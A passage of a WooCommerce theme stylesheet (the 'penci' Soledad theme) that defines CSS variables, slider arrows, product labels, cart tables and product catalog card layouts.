	--pcsl_tt_l_m_fs: var(--pcsl_tt_m_fs);
	--pcsl_meta_fs: 14px;
	--pcsl_meta_m_fs: 14px;
	--pcsl_price_fs: 14px;
	--pcsl_price_m_fs: 14px;
	--pcsl_btn_icon_size: 18px;
	--pcs_fsp_single_tt: 30px;
	--pcs_fsp_single_m_tt: 22px;
	--pcs_fsp_price: 18px;
	--pcs_fsp_m_price: 18px;
	--pcs_fsp_breadcrumb: 13px;
	--pcs_fsp_m_breadcrumb: 13px;
	--pcs_fsp_general: 14px;
	--pcs_fsp_tab_tt: 14px;
	--pcs_fsp_tab_m_tt: 14px;
	--pcs_fsp_meta: 14px;
	--pcs_fsp_m_meta: 14px;
	--pchd_mn_font: var(--pchead-font);
	--pchd_mn_font_w: var(--pchead-wei);
	--pclabel_hot: #fb1919;
	--pclabel_new: #8dd620;
	--pclabel_sale: var(--pcaccent-cl);
	--pclabel_outstock: maroon;
	--transition-delay: 0.04s;
	--pcsl_tt_lb_size: 12px;
	--pcsl_tt_lb_m_size: 12px;
	--pcl_o_bg: black;
	--pcl_o_opacity: 0.5;
	--pcl_o_tt_cl: #fff;
	--pcl_o_l_cl: #bfbfbf;
	--pcl_o_lhv_cl: #fff;
	--pcl_o_btn_cl: #fff;
	--pcsl_tt_btn4_size: 15px;
	--pcsl_tt_btn4_m_size: 12px;
	--pcsl_tt_btn3_size: 12px;
	--pcsl_tt_btn3_m_size: 12px;
	--pcsl_tt_btn5_size: 12px;
	--pcsl_tt_btn5_m_size: 12px;
	--pcl_3_atc_bg_cl: var(--pcaccent-cl);
	--pcl_3_atc_bg_hv_cl: var(--pcaccent-cl);
	--pcl_3_atc_txt_cl: #fff;
	--pcl_3_atc_txt_hv_cl: #fff;
	--pcl_btn_group_bg_color: #fff;
	--pcl_btn_group_bg_hv_color: #fff;
	--pcl_btn_group_txt_color: var(--pcheading-cl);
	--pcl_btn_group_txt_hv_color: var(--pcheading-cl);
	--pcl_5_btn_txt_cl: #fff;
	--pcl_5_btn_txt_hv_cl: var(--pcheading-cl);
	--pcl_5_btn_bd_cl: #fff;
	--pcl_5_btn_bd_hv_cl: #fff;
	--pcl_5_btn_bg_cl: transparent;
	--pcl_5_btn_bg_hv_cl: #fff;
	--pc-sidebar-w: 29.1%;
	--pcl_6_bg_cl: #fff;
	--pcl_6_tt_cl: var(--pcheading-cl);
	--pcl_6_txt_cl: var(--pctext-cl);
	--pcl_6_l_cl: var(--pcmeta-cl);
	--pcl_6_lhv_cl: var(--pcmeta-cl);
	--pcl_6_price_cl: var(--pccat_price_cl);
	--pcl_4_btn_txt_cl: white;
	--pcl_4_btn_txt_hv_cl: white;
	--pcl_4_btn_bg_cl: var(--pcaccent-cl);
	--pcl_4_btn_bg_hv_cl: var(--pcaccent-cl);
	--pcl_l_cat_fs: 14px;
	--pcl_l_cat_fs_m: 12px;
	--pcl_l_cat_tt_fs: 15px;
	--pcl_l_cat_tt_fs_m: 13px;
	--pc-w-mh: 275px;
	--pc-w-mhm: 275px;
	--pcl_l_cat_tt_cl: var(--pcheading-cl);
	--pcl_l_cat_cl: var(--pcmeta-cl);
	--pcl_l_cat_o_cl: rgba(255, 255, 255, 1);
	--pcl_l_cat_o_cl_rgba: linear-gradient(0deg, rgba(255, 255, 255, 1) 0%, rgba(255, 255, 255, 0.5) 50%, rgba(255, 255, 255, 0) 100%);
	--penci-scrollbar-track-bg: rgba(0, 0, 0, 0.05);
	--penci-scrollbar-thumb-bg: rgba(0, 0, 0, 0.12);
	--pc-sf-sum-w: 780px;
}
button, html input[type="button"], input[type="reset"], input[type="submit"] {
	cursor: pointer;
}
.text-center {
	text-align: center;
}

/*************************************
 * Slick Slider
 ************************************/
.slick-slider {
	position: relative;
}
.slick-slider .slick-arrow {
	position: absolute;
	top: 50%;
	bottom: 50%;
	z-index: 9;
	border: 0;
	font-size: 0;
	transition: 0.3s all ease-in-out;
	opacity: 0;
	background: transparent;
}
.slick-slider:hover .slick-arrow {
	opacity: 1;
}
.slick-slider .slick-arrow:before {
	content: "\f11a";
	font-family: 'penciicon';
	font-size: 20px;
}
.slick-slider .slick-arrow.slick-next {
	left: 0;
}
.slick-slider:hover .slick-arrow.slick-next {
	left: 15px;
}
.slick-slider .slick-arrow.slick-prev:before {
	content: "\f11b";
}
.slick-slider .slick-arrow.slick-prev {
	right: 0;
}
.slick-slider:hover .slick-arrow.slick-prev {
	right: 15px;
}
.slick-vertical .slick-slide {
	border: 0;
}
.slick-vertical .slick-slide > div {
	line-height: 0;
}
.slick-vertical .slick-slide figure {
	padding-top: 5px;
	padding-bottom: 5px;
}
/*************************************
 * Product Labels
 ************************************/
.woocommerce .product-labels {
	position: absolute;
	z-index: 2;
	top: 10px;
	right: 10px;
	left: auto;
	display: flex;
	flex-direction: column;
	flex-wrap: wrap;
	transition: all 0.3s cubic-bezier(.645, .045, .355, 1);
}
.woocommerce .product-labels .onsale {
	position: static;
	background-color: var(--pclabel_sale);
}
.woocommerce .product-labels .product-label,
.woocommerce .product-labels .new,
.woocommerce .product-labels .featured {
	line-height: 26px;
	min-width: 50px;
	height: 25px;
	min-height: 25px;
	padding: 0 10px;
}
.woocommerce .product-labels .featured {
	background-color: var(--pclabel_hot);
}
.woocommerce .product-labels .new {
	background-color: var(--pclabel_new);
}
.woocommerce .product-labels .out-of-stock {
	background-color: var(--pclabel_outstock);
}
.woocommerce .product-labels .product-label {
	font-family: var(--pchead-font);
	font-size: var(--pcsl_tt_lb_size);
	font-weight: var(--pchead-wei);
	position: static;
	text-align: center;
	text-transform: uppercase;
	color: #fff;
}
@media only screen and (max-width: 767px) {
	.woocommerce .product-labels .product-label {
		font-size: var(--pcsl_tt_lb_m_size);
	}
}
.woocommerce .product-labels .product-label + .product-label {
	margin-top: 5px;
}
.woocommerce .product-labels .product-label:last-child {
	margin-bottom: 0;
}
.woocommerce .product-labels.labels-round .product-label {
	display: inline-flex;
	align-items: center;
	justify-content: center;
	width: 50px;
	height: 50px;
	border-radius: 50%;
	line-height: 1.1;
}
.woocommerce .penci_sidebar ul.products.columns-4 .product-labels.labels-round .product-label {
	font-size: 11px;
	width: 35px;
	min-width: 35px;
	height: 35px;
}
.woocommerce .penci-single-product-top-container .product-labels {
	right: auto;
	left: 120px;
}
.woocommerce .penci-single-product-top-container .product-labels {
	right: auto;
	left: 10px;
}
.woocommerce .penci-content-quickview .product-labels {
	right: auto;
	left: 25px;
}
.woocommerce .thumbnail-left .penci-single-product-top-container .product-labels {
	left: 120px;
}
@media only screen and (max-width: 767px) {
	.woocommerce .penci-single-product-top-container .product-labels {
		top: 60px;
		right: 20px;
		left: auto;
	}
	.woocommerce .thumbnail-left .penci-single-product-top-container .product-labels {
		left: auto;
	}
}
/*************************************
 * WooCommerce Cart Form
 ************************************/
.woocommerce .price del,
.woocommerce ul.products li.product .price del {
	font-weight: normal;
	margin-right: 0;
	text-decoration: line-through;
}
.woocommerce-grouped-product-list.group_table {
	width: 100%;
	margin-bottom: 30px;
}
.woocommerce div.product form.cart table {
	border-top: 1px solid #ECECEC;
}
.woocommerce div.product form.cart .group_table tr {
	border-bottom: 1px solid #ECECEC;
}
.woocommerce div.product form.cart .group_table td {
	padding: 15px 0;
	vertical-align: middle;
}
.woocommerce div.product form.cart .group_table a {
	font-weight: bold;
	color: inherit;
}
.woocommerce div.product form.cart .group_table .woocommerce-grouped-product-list-item__label a {
	font-size: 16px;
}
.woocommerce div.product form.cart .woocommerce-grouped-product-list-item__price {
	font-size: 16px;
	text-align: right;
}
.woocommerce div.product form.cart bdi {
	font-weight: bold;
}
.woocommerce div.product form.cart ins {
	text-decoration: none;
}
.woocommerce div.product form.cart del bdi {
	font-weight: normal;
	opacity: .5;
}
.woocommerce #content div.product.penci-product-medium div.images,
.woocommerce div.product.penci-product-medium div.images,
.woocommerce-page #content div.product.penci-product-medium div.images,
.woocommerce-page div.product.penci-product-medium div.images {
	width: 55%;
}
.woocommerce #content div.product.penci-product-medium div.summary,
.woocommerce div.product.penci-product-medium div.summary,
.woocommerce-page #content div.product.penci-product-medium div.summary,
.woocommerce-page div.product.penci-product-medium div.summary {
	width: 40%;
}
.woocommerce #content div.product.penci-product-large div.images,
.woocommerce div.product.penci-product-large div.images,
.woocommerce-page #content div.product.penci-product-large div.images,
.woocommerce-page div.product.penci-product-large div.images {
	width: 62%;
}
.woocommerce #content div.product.penci-product-large div.summary,
.woocommerce div.product.penci-product-large div.summary,
.woocommerce-page #content div.product.penci-product-large div.summary,
.woocommerce-page div.product.penci-product-large div.summary {
	width: 35%;
}
.woocommerce #content div.product.penci-product-fullwidth-container div.images,
.woocommerce div.product.penci-product-fullwidth-container div.images,
.woocommerce-page #content div.product.penci-product-fullwidth-container div.images,
.woocommerce-page div.product.penci-product-fullwidth-container div.images {
	float: none;
	width: 100%;
}
.woocommerce #content div.product.penci-product-fullwidth-container div.summary,
.woocommerce div.product.penci-product-fullwidth-container div.summary,
.woocommerce-page #content div.product.penci-product-fullwidth-container div.summary,
.woocommerce-page div.product.penci-product-fullwidth-container div.summary {
	float: none;
	width: 100%;
}
.woocommerce #content div.product.penci-product-fullwidth .penci-single-product-top-container > .container,
.woocommerce div.product.penci-product-fullwidth .penci-single-product-top-container > .container,
.woocommerce-page #content div.product.penci-product-fullwidth .penci-single-product-top-container > .container,
.woocommerce-page div.product.penci-product-fullwidth .penci-single-product-top-container > .container {
	width: 100%;
	margin-right: 60px;
	margin-left: 60px;
}
@media only screen and (max-width: 767px) {
	.woocommerce #content div.product.penci-product-medium div.images,
	.woocommerce div.product.penci-product-medium div.images,
	.woocommerce-page #content div.product.penci-product-medium div.images,
	.woocommerce-page div.product.penci-product-medium div.images,
	.woocommerce #content div.product.penci-product-medium div.summary,
	.woocommerce div.product.penci-product-medium div.summary,
	.woocommerce-page #content div.product.penci-product-medium div.summary,
	.woocommerce-page div.product.penci-product-medium div.summary,
	.woocommerce #content div.product.penci-product-large div.images,
	.woocommerce div.product.penci-product-large div.images,
	.woocommerce-page #content div.product.penci-product-large div.images,
	.woocommerce-page div.product.penci-product-large div.images,
	.woocommerce #content div.product.penci-product-large div.summary,
	.woocommerce div.product.penci-product-large div.summary,
	.woocommerce-page #content div.product.penci-product-large div.summary,
	.woocommerce-page div.product.penci-product-large div.summary {
		width: 100%;
	}
}
.woocommerce .cart-collaterals + .cross-sells {
	width: 100%;
}
/*************************************
 * Product Catalog Style
 ************************************/
.products .penci-soledad-product .penci-product-loop-inner-content {
	position: relative;
}
.products .penci-soledad-product .star-rating {
	transition: all 0.3s ease-in-out;
}
.products .penci-soledad-product .penci-product-loop-top {
	position: relative;
}
.product-style-1 .penci-soledad-product .penci-product-loop-buttons {
	position: absolute;
	z-index: 2;
	right: 0;
	bottom: 10px;
	left: 0;
	visibility: hidden;
	/*padding: 10px;*/
	transition: opacity 0.3s ease, visibility 0.3s ease, transform 0.3s ease;
	-webkit-transform: translateY(-15px) translateZ(0);
	transform: translateY(-15px) translateZ(0);
	text-align: center;
	opacity: 0;
	-webkit-backface-visibility: hidden;
	backface-visibility: hidden;
}
.product-style-1 .penci-soledad-product.penci-hover .penci-product-loop-buttons,
.product-style-1 .penci-soledad-product:hover .penci-product-loop-buttons {
	visibility: visible;
	-webkit-transform: translateY(0) translateZ(0);
	transform: translateY(0) translateZ(0);
	opacity: 1;
}
.product-style-1 .penci-soledad-product .penci-product-loop-title {
	margin-top: 14px;
	text-align: center;
}
.product-style-1 .penci-soledad-product .penci-swatches-list {
	justify-content: center;
}
.products .penci-soledad-product .penci-product-loop-button {
	display: inline-flex;
	align-items: stretch;
	flex-direction: row;
	flex-wrap: nowrap;
	max-width: calc(100% - 20px);
	background-color: var(--pccat_btn_groups_bgcl);
	box-shadow: 1px 1px 1px rgba(0, 0, 0, 0.1);
}
.products.product-style-7 .penci-soledad-product .penci-product-loop-button {
	background-color: transparent;
}
.products .penci-soledad-product .penci-product-loop-button .button {
	color: var(--pccat_btn_cl);
}
.products .penci-soledad-product .penci-product-loop-button .button:hover {
	background-color: white;
}
.products .penci-soledad-product .penci-product-loop-button .loading:before {
	display: none;
}
.products .penci-soledad-product .penci-product-loop-button .button {
	position: relative;
}
.products .penci-product-loop-button .penci-tooltip:after,
.products .penci-product-loop-button .penci-tooltip {
	position: absolute;
	transition: all 0.3s ease;
	pointer-events: none;
	opacity: 0;
	-webkit-backface-visibility: hidden;
	backface-visibility: hidden;
}
.products .penci-product-loop-button > p {
	display: none; /* display button only */
}
.products .penci-product-loop-button .penci-tooltip {
	font-size: 12px;
	font-weight: normal;
	line-height: 1;
	z-index: 10;
	right: auto;
	bottom: calc(100% + 10px);
	left: auto;
	min-width: 110px;
	padding: 8px 5px;
	white-space: nowrap;
	letter-spacing: normal;
	text-transform: none;
	color: #ffffff;
	border-radius: 4px;
	background: rgba(17, 17, 17, .9);
}
.products .penci-product-loop-button .penci-tooltip:after {
	right: 50%;
	bottom: -5px;
	left: 50%;
	width: 0;
	height: 0;
	margin-left: -5px;
	content: '';
	border-width: 5px 5px 0 5px;
	border-style: solid;
	border-color: rgba(17, 17, 17, .9) transparent transparent transparent;
}
.penci-product-loop-button .button:hover .penci-tooltip,
.penci-product-loop-button .button:hover .penci-tooltip:after {
	pointer-events: auto;
	opacity: 1;
}
.penci-product-loop-button .yith-wcwl-add-to-wishlist {
	display: inline-flex;
	flex: 1 1 auto;
	width: 100vw;
	max-width: 45px;
	margin: 0;
}
.penci-product-loop-button .yith-wcwl-add-to-wishlist span {
	display: none;
}
.penci-product-loop-button .yith-wcwl-add-to-wishlist a {
	font-size: 0;
	line-height: 0;
	position: relative;
	display: inline-flex;
	align-items: center;
	flex-direction: column;
	justify-content: center;
	width: 45px;
	height: 45px;
	margin: 0;
}
.penci-product-loop-button .button {
	display: inline-flex;
	flex: 1 1 auto;
	width: 100vw;
	min-width: 0;
	max-width: 45px;
	height: 45px;
	padding: 0;
	letter-spacing: 0;
	background: transparent;
}
.products.icon-style-round.icon-align-vertical.penci-small-width .penci-product-loop-buttons .button,
.products.icon-style-round.icon-align-vertical.penci-small-width .penci-product-loop-button .yith-wcwl-add-to-wishlist,
.products.penci-small-width.icon-align-vertical .penci-product-loop-button .button {
	width: 30px;
	height: 30px;
	max-width: 30px;
	flex: 0 0 30px;
}
.products.icon-style-round.icon-align-vertical.penci-small-width .yith-wcwl-add-to-wishlist a {
	width: 30px;
	height: 30px;
}
.products.icon-style-round.icon-align-vertical.penci-small-width .penci-product-loop-buttons .button:before,
.products.penci-small-width.icon-align-vertical .penci-product-loop-button .button:before {
	font-size: 13px;
}
.products.icon-style-round.icon-align-vertical.penci-small-width .penci-product-loop-button > a.button.loading:after {
	margin-top: -6px;
}
.woocommerce .penci-product-loop-button a.button,
.penci-product-loop-button > a {
	font-size: 0;
	line-height: 0;
	position: relative;
	display: inline-flex;
	align-items: center;
	flex-direction: column;
	justify-content: center;
	width: 42px;
	min-width: unset; /* old-css rule*/
	height: 42px;
	margin: 0;
	padding: 0;
	color: var(--pccat_btn_cl);
	background-color: var(--pccat_btn_groups_bgcl);
}
.woocommerce .penci-product-loop-button a.button:hover,
.penci-product-loop-button > a:hover {
	opacity: 0.8;
	color: black;
}
.penci-product-loop-button > a:before {
	font-family: "penciicon", serif;
	font-size: 16px;
	font-weight: 400;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	animation: none;
}
.penci-product-loop-button .product_type_simple:before,
.penci-product-loop-button .product_type_variable:before,
.penci-product-loop-button .product_type_external:before,
.penci-product-loop-button .product_type_grouped:before,
.penci-product-loop-button .add_to_cart_button:before {
	content: "\f119";
}
.penci-product-loop-button .penci-quickview-button:before,
.penci-product-loop-button .yith-wcqv-button:before {
	content: "\f108";
}
.penci-product-loop-button .compare.button:before {
	content: "\f16b";
}
.penci-product-loop-button .penci-addtowishlist:before {
	content: "\f109";
}
.penci-product-loop-button .compare.button.added:before,
.penci-product-loop-button .penci-addtowishlist.added:before {
	content: "\f111";
}
.penci-product-loop-button .yith-wcwl-add-to-wishlist a:before {
	font-family: "penciicon", serif;
	font-size: 16px;
	font-weight: 400;
	content: "\f10b";
	color: black;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.penci-product-loop-button .yith-wcwl-add-to-wishlist.exists a:before {
	content: "\f111";
}
.products.icon-style-round.icon-align-vertical.penci-small-width .penci-product-loop-button .yith-wcwl-add-to-wishlist a:before {
	font-size: 13px;
}
.penci-product-loop-button .blockUI {
	display: none !important;
}
.woocommerce-loop-product__title.penci-loop-title a,
.penci-product-loop-title h3 a {
	color: var(--pccat_tt_cl);
}
.penci-product-loop-image {
	position: relative;
	overflow: hidden;
}
.penci-product-loop-image > img {
	display: none;
}
.penci-product-loop-image .penci-image-loader {
	position: absolute;
	z-index: 1;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	display: flex;
	justify-content: center;
	align-items: center;
	visibility: hidden;
	background: rgba(255, 255, 255, 0.6);
}
.penci-soledad-product.loading-image .penci-image-loader {
	visibility: visible;
}
.penci-soledad-product.loading-image .penci-product-loop-image .penci-image-loader:before {
	z-index: 2;
	top: 14px;
	right: 50%;
	left: 50%;
	display: block;
	width: 30px;
	height: 30px;
	margin: 0;
	content: " ";
	animation: lds-dual-ring 0.35s linear infinite;
	vertical-align: middle;
	opacity: 1;
	border: 1px solid #888;
	border-left-color: #000;
	border-top-color: #000;
	border-radius: 50%;
}
.penci-product-loop-image a img {
	width: 100%;
	margin: 0;
}
.penci-product-loop-image .hover-img,
.penci-product-loop-image .variations-img {
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	display: flex;
	align-items: center;
	justify-content: center;
	transition: opacity 0.45s ease, transform 2s cubic-bezier(0, 0, 0.4, 1.46);
	opacity: 0;
	background-color: var(--pcbg-cl);
}
.penci-product-loop-image .variations-img {
	transition: none;
	opacity: 1;
}
.penci-product-loop-image .hover-img a {
	display: block;
	flex: 1 1 100%;
	width: 100%;
	max-width: 100%;
}
.woocommerce ul.products li.product .penci-product-loop-title .star-rating {
	position: relative;
	top: 0;
	left: 0;
	right: 0;
	margin-bottom: 10px;
}
.woocommerce ul.products.product-style-7 li.product .penci-product-loop-title .star-rating {
	margin-top: 10px;
	margin-bottom: 0;
}
.woocommerce ul.products.product-style-1 li.product .penci-product-loop-title .star-rating,
.woocommerce ul.products.product-style-3 li.product .penci-product-loop-title .star-rating,
.woocommerce ul.products.product-style-5 li.product .penci-product-loop-title .star-rating,
.woocommerce ul.products.product-style-7 li.product .penci-product-loop-title .star-rating {
	margin-left: auto;
	margin-right: auto;
}
ul.product-style-7 .penci-soledad-product:hover .penci-product-loop-image .hover-img,
ul.product-style-7 .penci-soledad-product.penci-hover .penci-product-loop-image .hover-img,
.penci-product-loop-top:hover .penci-product-loop-image .hover-img {
	-webkit-transform: scale(1.095);
	transform: scale(1.095);
	opacity: 1;
}
.products.product-style-2 .penci-product-loop-title {
	position: static;
}
.products.product-style-2 .product-title-top {
	position: absolute;
	top: 15px;
	left: 15px;
	right: 15px;
	z-index: 9;
}
.products.product-style-2 .penci-soledad-product .product-title-bottom {
	position: absolute;
	bottom: 15px;
	left: 15px;
	right: 15px;
	z-index: 9;
	overflow: hidden;
	max-height: 25px;
	transition: all 0.3s ease-in-out;
}
.products.product-style-2 .quick-shop-shown .penci-soledad-product .product-title-bottom {
	visibility: hidden;
}
.products.product-style-2 li.product.sale .penci-soledad-product .product-title-bottom {
	max-height: 40px;
}
.products.product-style-2 li.product.sale .penci-soledad-product .product-title-bottom,
.products.product-style-2 .penci-soledad-product.penci-hover .product-title-bottom,
.products.product-style-2 .penci-soledad-product:hover .product-title-bottom {
	max-height: 100px;
}
.products.product-style-2 .woocommerce-loop-product__title {
	text-align: left;
}
.products.product-style-2 .penci-product-loop-title .star-rating {
	position: relative;
	top: 0;
	left: 0;
}
.products.product-style-2 .penci-stock-progress-bar {
	width: calc(100% - 20px);
	padding: 10px;
	transition: all 0.3s ease-in-out;
	background-color: var(--pcbg-cl);
}
.products.product-style-2 .penci-soledad-product.penci-hover .penci-stock-progress-bar,
.products.product-style-2 .penci-soledad-product:hover .penci-stock-progress-bar {
	opacity: 0;
}
.products.product-style-2 .price del,
.products.product-style-2 .price ins {
	display: block;
}
.products.product-list .penci-product-loop-buttons,
.products.product-style-2 .penci-product-loop-buttons {
	position: absolute;
	z-index: 999;
	right: 10px;
	bottom: 10px;
	transition: all 0.3s ease;
	-webkit-transform: translateX(-20px) translateZ(0);
	transform: translateX(-20px) translateZ(0);
	opacity: 0;
}
.products.product-list .penci-product-loop-buttons .penci-product-loop-button,
.products.product-style-2 .penci-product-loop-buttons .penci-product-loop-button {
	flex-direction: column;
	max-width: none;
	padding-right: 0;
	padding-left: 0;
}
.products.product-list .penci-soledad-product .penci-product-loop-top:hover .penci-product-loop-buttons,
.products.product-style-2 .penci-soledad-product .penci-product-loop-top:hover .penci-product-loop-buttons {
	-webkit-transform: translateX(0) translateZ(0);
	transform: translateX(0) translateZ(0);
	opacity: 1;
}
.products.product-style-3 .onsale,
.products.product-style-6 .onsale {
	right: auto;
	left: 10px;
}
.products.product-style-3 .penci-product-loop-title,
.products.product-style-6 .penci-product-loop-title {
	margin-top: 15px;
}
.products.product-style-6 .woocommerce-loop-product__title,
.products.product-style-6 .price {
	text-align: left;
}
.products.product-style-3 .penci-product-loop-buttons,
.products.product-style-6 .penci-product-loop-buttons {
	position: absolute;
	top: 10px;
	right: 10px;
	transition: all 0.3s ease;
	-webkit-transform: translateX(-20px) translateZ(0);
	transform: translateX(-20px) translateZ(0);
	opacity: 0;
	z-index: 9;
}
.products.product-style-3 .penci-product-loop-buttons .penci-product-loop-button,
.products.product-style-6 .penci-product-loop-buttons .penci-product-loop-button {
	display: flex;
	flex-direction: column;
	max-width: none;
	padding-right: 0;
	padding-left: 0;
}
.products.product-style-3 .penci-soledad-product:hover .penci-product-loop-buttons,
.products.product-style-3 .penci-soledad-product.penci-hover .penci-product-loop-buttons,
.products.product-style-6 .penci-soledad-product:hover .penci-product-loop-buttons,
.products.product-style-6 .penci-soledad-product.penci-hover .penci-product-loop-buttons {
	-webkit-transform: translateX(0) translateZ(0);
	transform: translateX(0) translateZ(0);
	opacity: 1;
}
.products.product-style-3 .penci-product-loop-title {
	text-align: center;
}
.products.product-style-3 .penci-soledad-product .penci-swatches-list {
	margin-bottom: 10px;
	justify-content: center;
}
.products.product-style-3 .penci-soledad-product .penci-product-loop-image {
	overflow: hidden;
}
.products.product-style-3 .penci-soledad-product .penci-product-loop-image a.button,
.products.product-style-3 .penci-soledad-product a.add_to_cart_button {
	position: absolute;
	bottom: 0;
	left: 0;
	right: 0;
	z-index: 9;
	opacity: 0.8;
	font-size: var(--pcsl_tt_btn3_size);
	background-color: var(--pcl_3_atc_bg_cl);
	color: var(--pcl_3_atc_txt_cl);
	transform: translate(0, 100%);
	-webkit-transform: translate(0, 100%);
	-moz-transform: translate(0, 100%);
	transition: 0.3s all ease-in-out;
}
.products.product-style-3 .penci-soledad-product .penci-product-loop-image a.button:hover,
.products.product-style-3 .penci-soledad-product a.add_to_cart_button:hover {
	color: var(--pcl_3_atc_txt_hv_cl);
	background-color: var(--pcl_3_atc_bg_hv_cl);
}
@media only screen and (max-width: 767px) {
	.products.product-style-3 .penci-soledad-product .penci-product-loop-image a.button,
	.products.product-style-3 .penci-soledad-product a.add_to_cart_button {
		font-size: var(--pcsl_tt_btn3_m_size);
	}
}
.products.product-style-3 .penci-soledad-product.quick-shop-loaded .penci-product-loop-image a.add_to_cart_button {
	visibility: hidden;
}
.products.product-style-3 .penci-soledad-product.penci-hover a.add_to_cart_button,
.products.product-style-3 .penci-soledad-product:hover a.add_to_cart_button {
	transform: translate(0, 0);
	-webkit-transform: translate(0, 0);
	-moz-transform: translate(0, 0);
}
.products.product-style-3 .penci-soledad-product.penci-hover a.add_to_cart_button:hover,
.products.product-style-3 .penci-soledad-product:hover a.add_to_cart_button:hover {
	opacity: 1;
}
.products.product-style-4 .onsale {
	right: auto;
	left: 10px;
}
.products.product-style-4 .penci-product-loop-title .button.loading:before {
	position: static;
	display: inline-block;
	margin: -2px 10px 0 0;
}
.products.product-style-4 .penci-product-loop-title .button {
	font-size: inherit;
	justify-content: left;
}
.products.product-style-4 .penci-product-loop-title .button.loading:after {
	display: none;
}
.products.product-style-4 .penci-product-loop-title {
	margin-top: 15px;
}
.products.product-style-4 .penci-product-loop-title .button {
	position: absolute;
	top: calc(100% - 35px);
	left: 0;
	min-width: unset;
	height: auto;
	margin: 0;
	padding: 6px 12px;
	background: var(--pcl_4_btn_bg_cl);
	transition: all 0.3s ease;
	-webkit-transform: translateY(15px) translateZ(0);
	transform: translateY(15px) translateZ(0);
	text-align: left;
	text-transform: none;
	opacity: 0;
	line-height: 1.3;
	color: var(--pcl_4_btn_txt_cl);
	font-size: var(--pcsl_tt_btn4_size);
	display: inline-block;
}
.products.product-style-4 .penci-product-loop-title .button:hover {
	color: var(--pcl_4_btn_txt_hv_cl);
	background: var(--pcl_4_btn_bg_hv_cl);
}
.products.product-style-4 .penci-product-loop-title .button.loading:before {
	background-color: transparent;
}
@media only screen and (max-width: 767px) {
	.products.product-style-4 .penci-product-loop-title .button {
		font-size: var(--pcsl_tt_btn4_m_size);
	}
}
.products.product-style-4 .penci-product-loop-title .price {
	transition: all 0.2s ease-in-out;
	-webkit-transform: translateY(0) translateZ(0);
	transform: translateY(0) translateZ(0);
	opacity: 1;
	display: block;
	margin-top: 0;
}
.products.product-style-4 .penci-soledad-product.penci-hover .penci-product-loop-title .price,
.products.product-style-4 .penci-soledad-product:hover .penci-product-loop-title .price {
	-webkit-transform: translateY(-15px) translateZ(0);
	transform: translateY(-15px) translateZ(0);
	opacity: 0;
}
.products.product-style-4 .penci-soledad-product.penci-hover .penci-product-loop-title .button,
.products.product-style-4 .penci-soledad-product:hover .penci-product-loop-title .button {
	-webkit-transform: translateY(0) translateZ(0);
	transform: translateY(0) translateZ(0);
	opacity: 1;
}
.products.product-style-4 .woocommerce-loop-product__title,
.products.product-style-4 .price {
	text-align: left;
}
.products.product-style-4 .penci-product-loop-buttons {
	position: absolute;
	top: 10px;
	right: 10px;
	transition: all 0.3s ease;
	-webkit-transform: translateX(-20px) translateZ(0);
	transform: translateX(-20px) translateZ(0);
	opacity: 0;
	z-index: 99;
}
.products.product-style-4 .penci-product-loop-buttons .penci-product-loop-button {
	display: flex;
	flex-direction: column;
	max-width: none;
	padding-right: 0;
	padding-left: 0;
}
.products.product-style-4 .penci-swatches-list {
	margin-bottom: 10px;
}
.products.product-style-4 .penci-soledad-product.penci-hover .penci-product-loop-buttons,
.products.product-style-4 .penci-soledad-product:hover .penci-product-loop-buttons {
	-webkit-transform: translateX(0) translateZ(0);
	transform: translateX(0) translateZ(0);
	opacity: 1;
}
.products.product-style-5 .penci-product-loop-top {
	position: relative;
}
.products.product-style-5 .penci-product-loop-top:before {
	position: absolute;
	z-index: 1;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	content: "";
	transition: all 0.3s ease;
	background-color: transparent;
}
.products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons {
	position: absolute;
	z-index: 2;
	top: 50%;
	right: auto;
	left: auto;
	width: 100%;
	text-align: center;
}
.products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button {
	display: inline-block;
	padding-right: 15px;
	padding-left: 15px;
	transition: all 0.3s ease;
	-webkit-transform: translateY(0) translateZ(0);
	transform: translateY(0) translateZ(0);
	opacity: 0;
	color: var(--pcl_5_btn_txt_cl);
	border: 2px solid var(--pcl_5_btn_bd_cl);
	background-color: var(--pcl_5_btn_bg_cl);
	line-height: 38px;
	margin-top: 0;
	font-size: var(--pcsl_tt_btn5_size);
}
@media only screen and (max-width: 767px) {
	.products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button {
		font-size: var(--pcsl_tt_btn5_m_size);
	}
}
.products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button.loading {
	color: transparent;
}
.products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button.loading:hover .penci-loading-icon .bubble:after {
	background-color: var(--pctext-cl);
}
.products.product-style-5 .onsale {
	right: auto;
	left: 10px;
}
.products.product-style-5 .penci-product-loop-title {
	margin-top: 15px;
	text-align: center;
}
.products.product-style-5 .penci-product-loop-title .penci-swatches-list {
	justify-content: center;
	margin-bottom: 10px;
}
.products.product-style-5 .penci-product-loop-buttons {
	position: absolute;
	z-index: 3;
	top: 0;
	right: 0;
	transition: all 0.3s ease;
	-webkit-transform: translateX(-20px) translateZ(0);
	transform: translateX(-20px) translateZ(0);
}
.products.product-style-5 .penci-product-loop-buttons .penci-product-loop-button {
	display: flex;
	flex-direction: column;
	max-width: none;
	padding-right: 0;
	padding-left: 0;
	background-color: transparent;
	box-shadow: none;
}
.products.product-style-5 .penci-product-loop-buttons .penci-product-loop-button .button,
.products.product-style-5 .penci-product-loop-buttons .penci-product-loop-button .button:hover {
	background-color: transparent;
}
.woocommerce ul.products.product-style-5 .penci-product-loop-buttons .penci-product-loop-button a.loading:after {
	border-left-color: var(--pcl_o_btn_cl);
	border-top-color: var(--pcl_o_btn_cl);
}
.woocommerce ul.products.product-style-5 .penci-product-loop-buttons .penci-product-loop-button a:before,
.woocommerce ul.products.product-style-5 .penci-product-loop-buttons .penci-product-loop-button a:hover:before {
	color: var(--pcl_o_btn_cl);
}
.products.product-style-5 .penci-soledad-product .penci-product-loop-top:hover:before {
	background-color: var(--pcl_o_bg);
	opacity: var(--pcl_o_opacity);
}
.productsproduct-style-5 .penci-soledad-product .penci-product-loop-top:hover .penci-product-loop-buttons {
